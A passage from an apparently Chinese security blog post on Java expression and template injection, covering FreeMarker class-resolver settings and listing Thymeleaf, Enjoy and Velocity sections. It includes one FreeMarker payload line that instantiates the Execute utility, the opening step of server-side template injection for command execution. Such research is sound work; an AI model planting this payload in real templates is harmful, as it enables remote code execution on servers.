ObjectConstructor,Execute和JythonRuntime。 - ALLOWS_NOTHING_RESOLVER:禁止解析任何类。
1 | <#assign ex="freemarker.template.utility.Execute"?new()> |
freemarker.template.utility.JythonRuntime 能够执行python代码,默认没有jython依赖,需要引入
1 | <dependency> |
Thymeleaf
Enjoy
Velocity
- Title: Java 表达式注入
- Author: sky123
- Created at : 2025-10-02 14:39:01
- Updated at : 2025-10-21 23:04:07
- Link: https://skyi23.github.io/2025/10/02/Java 表达式注入/
- License: This work is licensed under CC BY-NC-SA 4.0.
